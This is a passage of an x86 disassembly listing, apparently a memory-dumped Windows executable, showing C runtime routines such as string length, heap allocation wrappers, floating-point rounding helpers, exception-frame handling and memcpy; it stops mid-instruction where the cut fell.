sub_417AB0+19j mov al, [ecx] inc ecx test al, al jz short loc_417B03 test ecx, 3 jnz short loc_417ABC add eax, 0 loc_417AD0: ; CODE XREF: sub_417AB0+Aj ; sub_417AB0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_417AD0 mov eax, [ecx-4] test al, al jz short loc_417B21 test ah, ah jz short loc_417B17 test eax, 0FF0000h jz short loc_417B0D test eax, 0FF000000h jz short loc_417B03 jmp short loc_417AD0 ; --------------------------------------------------------------------------- loc_417B03: ; CODE XREF: sub_417AB0+11j ; sub_417AB0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B0D: ; CODE XREF: sub_417AB0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B17: ; CODE XREF: sub_417AB0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B21: ; CODE XREF: sub_417AB0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_417AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417B30 proc near ; CODE XREF: sub_402688+8p ; sub_402B84+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_417B50 loc_417B3C: ; CODE XREF: sub_417B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_417B3C loc_417B50: ; CODE XREF: sub_417B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_417B30 endp ; =============== S U B R O U T I N E ======================================= sub_417B5F proc near ; CODE XREF: sub_4029E9+7Ap ; sub_4029E9+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_417B73 loc_417B6B: ; CODE XREF: sub_417B5F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_417B6B loc_417B73: ; CODE XREF: sub_417B5F+Aj mov edx, [esp+arg_4] push esi loc_417B78: ; CODE XREF: sub_417B5F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_417B78 pop esi retn sub_417B5F endp ; =============== S U B R O U T I N E ======================================= sub_417B89 proc near ; CODE XREF: sub_402B84+220p ; sub_402DD7+C1p ... arg_0 = dword ptr 4 push dword_48A074 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_417B89 endp ; =============== S U B R O U T I N E ======================================= sub_417B9B proc near ; CODE XREF: sub_417B89+Ap ; sub_4185F5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_417BC4 loc_417BA2: ; CODE XREF: sub_417B9B+27j push [esp+arg_0] call sub_417BC7 test eax, eax pop ecx jnz short locret_417BC6 cmp [esp+arg_4], eax jz short locret_417BC6 push [esp+arg_0] call sub_41AB54 test eax, eax pop ecx jnz short loc_417BA2 loc_417BC4: ; CODE XREF: sub_417B9B+5j xor eax, eax locret_417BC6: ; CODE XREF: sub_417B9B+13j ; sub_417B9B+19j retn sub_417B9B endp ; =============== S U B R O U T I N E ======================================= sub_417BC7 proc near ; CODE XREF: sub_417B9B+Bp arg_0 = dword ptr 4 mov eax, dword_48B688 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_417BEB cmp esi, dword_48B680 ja short loc_417C1D push esi call sub_41B0DD test eax, eax pop ecx jz short loc_417C1D pop esi retn ; --------------------------------------------------------------------------- loc_417BEB: ; CODE XREF: sub_417BC7+Dj cmp eax, 2 jnz short loc_417C1D mov eax, [esp+4+arg_0] test eax, eax jz short loc_417C00 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_417C03 ; --------------------------------------------------------------------------- loc_417C00: ; CODE XREF: sub_417BC7+2Fj push 10h pop esi loc_417C03: ; CODE XREF: sub_417BC7+37j cmp esi, dword_43B7E4 ja short loc_417C2A mov eax, esi shr eax, 4 push eax call sub_41BB80 test eax, eax pop ecx jnz short loc_417C39 jmp short loc_417C2A ; --------------------------------------------------------------------------- loc_417C1D: ; CODE XREF: sub_417BC7+15j ; sub_417BC7+20j ... test esi, esi jnz short loc_417C24 push 1 pop esi loc_417C24: ; CODE XREF: sub_417BC7+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_417C2A: ; CODE XREF: sub_417BC7+42j ; sub_417BC7+54j push esi push 0 push dword_48B684 nop call near ptr 26F0000h loc_417C39: ; CODE XREF: sub_417BC7+52j pop esi retn sub_417BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C3B proc near ; CODE XREF: sub_402DD7+10Ep ; sub_402DD7+116p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_417CA1 mov eax, dword_48B688 cmp eax, 3 jnz short loc_417C67 push esi call sub_41AD89 pop ecx test eax, eax push esi jz short loc_417C93 push eax call sub_41ADB4 pop ecx pop ecx jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C67: ; CODE XREF: sub_417C3B+14j cmp eax, 2 jnz short loc_417C92 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_417C92 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41BB3B add esp, 0Ch jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C92: ; CODE XREF: sub_417C3B+2Fj ; sub_417C3B+44j push esi loc_417C93: ; CODE XREF: sub_417C3B+20j push 0 push dword_48B684 call near ptr 26E0273h nop loc_417CA1: ; CODE XREF: sub_417C3B+Aj ; sub_417C3B+2Aj ... pop esi leave retn sub_417C3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417CA4(double) sub_417CA4 proc near ; CODE XREF: sub_403FE6+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_439560 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417D2A call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417D0D cmp eax, 2 jle short loc_417CFF cmp eax, 3 jnz short loc_417D0D fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41BF55 add esp, 10h jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417CFF: ; CODE XREF: sub_417CA4+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D0D: ; CODE XREF: sub_417CA4+3Aj ; sub_417CA4+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_417D67 ; --------------------------------------------------------------------------- loc_417D2A: ; CODE XREF: sub_417CA4+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417D4D loc_417D3F: ; CODE XREF: sub_417CA4+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D4D: ; CODE XREF: sub_417CA4+99j test bl, 20h jnz short loc_417D3F fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_417D67: ; CODE XREF: sub_417CA4+84j call sub_41BFA8 add esp, 1Ch loc_417D6F: ; CODE XREF: sub_417CA4+59j ; sub_417CA4+67j ... pop esi pop ebx leave retn sub_417CA4 endp ; =============== S U B R O U T I N E ======================================= sub_417D73 proc near ; CODE XREF: sub_419AB8+9p ; DATA XREF: ___:off_43956Co call sub_417D8B call sub_41C846 mov dword_489FF4, eax call sub_41C7F6 fnclex retn sub_417D73 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_417D8B proc near ; CODE XREF: sub_417D73p mov eax, offset sub_41CC34 mov off_43B904, offset sub_41C8C9 mov off_43B900, eax mov off_43B908, offset sub_41C92F mov off_43B90C, offset sub_41C86F mov off_43B910, offset sub_41C917 mov off_43B914, eax retn sub_417D8B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DC4 proc near ; CODE XREF: sub_403FE6+1Bp ; sub_403FE6+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_417DC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417DEB(double) sub_417DEB proc near ; CODE XREF: sub_404032+82p ; ___:00404CF0p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_439578 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417E71 call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417E54 cmp eax, 2 jle short loc_417E46 cmp eax, 3 jnz short loc_417E54 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41BF55 add esp, 10h jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E46: ; CODE XREF: sub_417DEB+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E54: ; CODE XREF: sub_417DEB+3Aj ; sub_417DEB+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_417EAE ; --------------------------------------------------------------------------- loc_417E71: ; CODE XREF: sub_417DEB+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417E94 loc_417E86: ; CODE XREF: sub_417DEB+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E94: ; CODE XREF: sub_417DEB+99j test bl, 20h jnz short loc_417E86 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_417EAE: ; CODE XREF: sub_417DEB+84j call sub_41BFA8 add esp, 1Ch loc_417EB6: ; CODE XREF: sub_417DEB+59j ; sub_417DEB+67j ... pop esi pop ebx leave retn sub_417DEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EBA proc near ; CODE XREF: ___:0041D116p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_417EBA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_417EEE proc near ; CODE XREF: sub_41D256+199p ; sub_41D41A+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EEE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417EF5 proc near ; CODE XREF: sub_41D256+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_417EFC proc near ; CODE XREF: sub_4180AE+5Cp ; sub_41D0A5:loc_41D0D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_417F24 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_422A4C sub_417EFC endp ; --------------------------------------------------------------------------- loc_417F24: ; DATA XREF: sub_417EFC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_417F4B: ; CODE XREF: ___:004230ECj ; ___:00423109j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41CCAA add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F81 proc near ; CODE XREF: sub_41D120+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_417FD5 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41D4B0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_417F81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FD5 proc near ; DATA XREF: sub_417F81+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h pop ebp retn sub_417FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FFA proc near ; CODE XREF: sub_41CEEC+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4180AE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_418080 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_48A098 pop ecx pop ecx and [ebp+var_34], 0 loc_418080: ; DATA XREF: sub_417FFA+3Co cmp [ebp+var_4], 0 jz short loc_41809D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4180A6 ; --------------------------------------------------------------------------- loc_41809D: ; CODE XREF: sub_417FFA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_4180A6: ; CODE XREF: sub_417FFA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_417FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180AE proc near ; DATA XREF: sub_417FFA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4180D1 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41811E ; --------------------------------------------------------------------------- loc_4180D1: ; CODE XREF: sub_4180AE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41810F push [ebp+arg_0] push [ebp+arg_4] call sub_417EFC ; --------------------------------------------------------------------------- loc_41810F: ; CODE XREF: sub_4180AE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41811E: ; CODE XREF: sub_4180AE+21j pop edi pop esi pop ebx pop ebp retn sub_4180AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418123 proc near ; CODE XREF: sub_41CD45+C6p ; sub_41CEEC+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41817A loc_418141: ; CODE XREF: sub_418123+52j cmp esi, 0FFFFFFFFh jnz short loc_41814B call sub_41D552 loc_41814B: ; CODE XREF: sub_418123+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_418160 cmp ecx, [eax+8] jle short loc_418165 loc_418160: ; CODE XREF: sub_418123+36j cmp esi, 0FFFFFFFFh jnz short loc_418171 loc_418165: ; CODE XREF: sub_418123+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_418171: ; CODE XREF: sub_418123+40j cmp [ebp+arg_4], 0 jge short loc_418141 mov eax, [ebp+var_4] loc_41817A: ; CODE XREF: sub_418123+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41818E cmp esi, eax jbe short loc_418193 loc_41818E: ; CODE XREF: sub_418123+65j call sub_41D552 loc_418193: ; CODE XREF: sub_418123+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_418123 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4181A0 proc near ; CODE XREF: sub_41F774+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_4181B8 push [ebp+arg_0] call sub_422A4C sub_4181A0 endp ; =============== S U B R O U T I N E ======================================= sub_4181B8 proc near ; DATA XREF: sub_4181A0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4181B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4181C0 proc near ; DATA XREF: sub_4181E2+Ao ; sub_41824A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4181E1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4181E1: ; CODE XREF: sub_4181C0+10j retn sub_4181C0 endp ; =============== S U B R O U T I N E ======================================= sub_4181E2 proc near ; CODE XREF: sub_41D1C6+Dp ; sub_41F774+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4181C0 push large dword ptr fs:0 mov large fs:0, esp loc_4181FF: ; CODE XREF: sub_4181E2:loc_41823Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41823C cmp esi, [esp+1Ch+arg_4] jz short loc_41823C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41823A push 101h mov eax, [ebx+esi*4+8] call sub_418276 call dword ptr [ebx+esi*4+8] loc_41823A: ; CODE XREF: sub_4181E2+44j jmp short loc_4181FF ; --------------------------------------------------------------------------- loc_41823C: ; CODE XREF: sub_4181E2+2Aj ; sub_4181E2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4181E2 endp ; =============== S U B R O U T I N E ======================================= sub_41824A proc near ; CODE XREF: sub_41D1E6+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4181C0 jnz short locret_41826C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41826C mov eax, 1 locret_41826C: ; CODE XREF: sub_41824A+10j ; sub_41824A+1Bj retn sub_41824A endp ; =============== S U B R O U T I N E ======================================= sub_41826D proc near ; CODE XREF: sub_41D4B0+1Ep ; sub_41D4B0+40p push ebx push ecx mov ebx, offset dword_43957C jmp short loc_418280 sub_41826D endp ; =============== S U B R O U T I N E ======================================= sub_418276 proc near ; CODE XREF: sub_4181E2+4Fp ; sub_41F774+78p push ebx push ecx mov ebx, offset dword_43957C mov ecx, [ebp+8] loc_418280: ; CODE XREF: sub_41826D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_418276 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_404032+5p ; sub_4041D4+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_418290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4182AF proc near ; CODE XREF: sub_404667+26p ; ___:004227E2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417C3B pop ecx retn sub_4182AF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182C0 proc near ; CODE XREF: sub_4046D8+3Ap ; sub_41ADB4+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4182E0 cmp edi, eax jb loc_418458 loc_4182E0: ; CODE XREF: sub_4182C0+16j test edi, 3 jnz short loc_4182FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- loc_4182FC: ; CODE XREF: sub_4182C0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418314 and eax, 3 add ecx, eax jmp dword ptr loc_41831C+4[eax*4] ; --------------------------------------------------------------------------- loc_418314: ; CODE XREF: sub_4182C0+46j jmp dword ptr loc_418418[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41831C: ; CODE XREF: sub_4182C0+31j ; sub_4182C0+8Ej ... jmp off_41839C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41832C+4 dd offset loc_41835C ; --------------------------------------------------------------------------- loc_41832C: ; DATA XREF: sub_4182C0+64o add byte ptr [ebx-2EDCFFBFh], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41835C: ; DATA XREF: sub_4182C0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_41839C dd offset loc_4183FF ; DATA XREF: sub_4182C0:loc_41831Cr dd offset loc_4183EC dd offset loc_4183E4 dd offset loc_4183DC dd offset loc_4183D4 dd offset loc_4183CC dd offset loc_4183C4 dd offset loc_4183BC ; --------------------------------------------------------------------------- loc_4183BC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4183C4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4183CC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4183D4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4183DC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4183E4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4183EC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4183FF: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0:off_41839Co jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_418408 dd offset loc_418418 ; DATA XREF: sub_4182C0+35r ; sub_4182C0+92r ... dd offset loc_418420 dd offset loc_41842C dd offset loc_418440 ; --------------------------------------------------------------------------- loc_418418: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418420: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41842C: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418440: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, 